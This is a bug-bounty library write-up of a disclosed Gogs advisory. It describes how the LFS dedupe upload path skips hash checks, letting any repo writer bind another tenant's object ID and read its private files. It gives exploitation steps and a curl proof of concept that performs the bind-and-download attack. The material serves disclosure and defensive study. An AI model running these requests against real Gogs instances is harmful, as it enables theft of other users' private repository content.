# Gogs: LFS dedupe path leaks private repo content across tenants

Gogs LFS dedupe path skips OID hash verification, letting any repo writer bind a foreign OID and download another tenant's private LFS bytes.

- Payout: Research
- Severity: high
- Program: Gogs
- Found by: amwhoi
- Disclosed: 2026-06-23
- CVE: CVE-2026-52812
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6p9m-q3jp-47h4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6p9m-q3jp-47h4
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Git LFS object storage endpoints (/info/lfs/objects/basic/<oid>)
**Root cause:** LocalStorage.Upload returns success on the dedupe branch (file already on disk) without hashing the request body against the claimed OID, and serveUpload then unconditionally inserts a (repo_id, oid) binding with no check that the OID belongs to the requesting repo.
**Steps:**
1. Victim uploads content to private repo: `PUT /alice/secrets.git/info/lfs/objects/basic/$OID` with `--data-binary` of the secret; file lands at `<LFS-root>/<oid[0]>/<oid[1]>/<oid>`.
2. Attacker confirms no claim: `POST /bob/scratch.git/info/lfs/objects/batch` with `{"operation":"download","objects":[{"oid":"$OID","size":$SIZE}]}` returns 404.
3. Attacker PUTs garbage: `PUT /bob/scratch.git/info/lfs/objects/basic/$OID` with `--data-binary 'irrelevant attacker-controlled bytes'`; dedupe shortcut drains body without hashing, returns 200, and `CreateLFSObject` inserts `(bob, OID)`.
4. Attacker downloads: `GET /bob/scratch.git/info/lfs/objects/basic/$OID` streams the victim's original bytes; sha256 matches `$OID`.
**How found:** Code reading: noticed LFS storage is content-addressed by OID globally while authorization is per-repo in `lfs_object`; spotted that the dedupe branch in `LocalStorage.Upload` returns before the hash check at line 106, and that `serveUpload` inserts the per-repo binding unconditionally.
**Exploitation:** Requires HTTP write access to any repo plus knowledge of a target OID (leaked via public ancestor commit, stale fork, support ticket, or side channel; 256-bit brute force infeasible). Attacker PUTs arbitrary bytes to their own repo's LFS endpoint for the victim OID; the dedupe path accepts without hashing and creates a per-repo binding, then the attacker's download endpoint streams the shared content-addressed file. Binding persists until manually deleted, surviving revocation of write access.
**Escalation:** Persistent cross-tenant read access: once bound, the (attacker_repo, OID) row keeps the object readable even after write access is removed; repeatable for any OID on the instance.
**Insight:** When storage is content-addressed globally but authorization is per-tenant, audit every code path that creates the per-tenant binding — dedupe/short-circuit branches that skip integrity checks are prime spots to forge ownership of another tenant's object.

## Proof of concept (copied exactly from the original report)

**Attack: PUT garbage to bind victim OID**

```
curl -sS $BOB_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \
  "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK
```

**Download leaked bytes via bob's repo**

```
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly
```

**Victim uploads secret to establish OID**

```
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"
```

